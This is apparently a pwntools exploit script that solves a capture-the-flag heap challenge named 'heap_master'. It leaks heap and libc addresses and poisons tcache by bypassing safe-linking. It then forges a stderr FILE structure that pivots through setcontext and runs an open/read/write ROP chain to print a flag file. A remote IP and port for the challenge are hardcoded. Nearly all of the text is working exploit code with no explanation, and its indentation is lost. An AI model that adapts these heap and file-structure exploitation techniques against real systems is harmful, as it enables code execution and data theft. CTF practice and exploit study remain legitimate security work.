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| from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
context.os = 'linux'
context.terminal = ['tmux', 'splitw', '-h']
debug = 1
file = './heap_master_patched'
elf = ELF(file)
libc = ELF('./libc.so.6')
target = '60.205.163.215'
port = 13774
if debug:
p = process(file)
else:
p = remote(target, port)
io = p
def dbg(cmd = ''):
if debug:
gdb.attach(p, gdbscript = cmd)
s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x, data :p.sendafter(x, data)
sla = lambda x, data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4, b'\x00'))
uu64 = lambda data :u64(data.ljust(8, b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success(name + ' = ' + hex(eval(name)))
def safe_linking(pos, ptr):
return (pos >> 12) ^ ptr
def jmp(idx):
sla(b'input :', str(idx).encode())
def alloc(idx, size):
sla(b'input :', b'1')
sla(b'idx:', str(idx).encode())
sa(b'size:', str(size).encode())
def dele(idx):
sla(b'input :', b'2')
sla(b'idx:', str(idx).encode())
def show(idx):
sla(b'input :', b'3')
sla(b'idx:', str(idx).encode())
def edit(idx, content):
sla(b'input :', b'4')
sla(b'idx:', str(idx).encode())
sa(b'context:', content)
def exit():
sla(b'input :', b'6')
sla(b'name.\n', b'\xda\xf9\xff\xff')
alloc(0, 0x80)
dele(0)
alloc(0, 0x80)
show(0)
heap = uu64(ru(b'\x05')[-5:]) << 12
leak('heap')
for i in range(1, 10):
alloc(i, 0x80)
for i in range(0, 9):
dele(i)
for i in range(0, 8):
alloc(i, 0x80)
show(7)
libc.address = uru64() - 0x21adf0
leak('libc.address')
alloc(8, 0x80)
alloc(10, 0x18)
alloc(11, 0x18)
alloc(12, 0x18)
dele(12)
dele(11)
edit(10, b'OwO')
show(10)
jmp(1985)
payload = b'A' * 0x18 + p64(0x21) + p64(safe_linking(heap + 0xc50, heap + 0x100))
sl(payload)
alloc(13, 0xf8)
dele(13)
alloc(14, 0x18)
alloc(15, 0x18)
stderr = libc.sym['_IO_2_1_stderr_']
edit(15, p64(stderr))
alloc(16, 0xf8)
fake_io = flat({
0x0: 0,
0x10: b'flag\x00',
0x28: libc.sym['setcontext'] + 0x3d,
0x38: 0, # RDI
0x40: stderr + 0x20, # RSI
0x58: 0x400, # RDX
0x70: stderr + 0x20, # RSP
0X78: libc.sym['read'], # RIP
0x88: stderr,
0xA0: stderr - 0x30, # __rdx__
0xB0: stderr - 0x40,
0xD8: libc.sym['_IO_wfile_jumps']
},
filler=b"\x00"
)
edit(16, fake_io)
exit()
pop_rax_ret = libc.address + 0x45eb0
pop_rdi_ret = libc.address + 0x2a3e5
pop_rsi_ret = libc.address + 0x2be51
pop_rdx_pop_r12_ret = libc.address + 0x11f2e7
syscall_ret = libc.address + 0x91316
rop_chain = flat([
pop_rax_ret,
2,
pop_rdi_ret,
stderr + 0x10,
pop_rsi_ret,
0,
syscall_ret, # open("flag", 0, 0)
pop_rax_ret,
0,
pop_rdi_ret,
3,
pop_rsi_ret,
stderr + 0x100,
pop_rdx_pop_r12_ret,
0x100,
0,
syscall_ret, # read(3, buf, 0x100)
pop_rax_ret,
1,
pop_rdi_ret,
1,
pop_rsi_ret,
stderr + 0x100,
pop_rdx_pop_r12_ret,
0x100,
0,
syscall_ret # write(1, buf, 0x100)
])
s(rop_chain)
itr()
# 0x0000000000045eb0: pop rax; ret;
# 0x000000000002a3e5: pop rdi; ret;
# 0x000000000002be51: pop rsi; ret;
# 0x000000000011f2e7: pop rdx; pop r12; ret;
# 0x0000000000091316: syscall; ret;
|
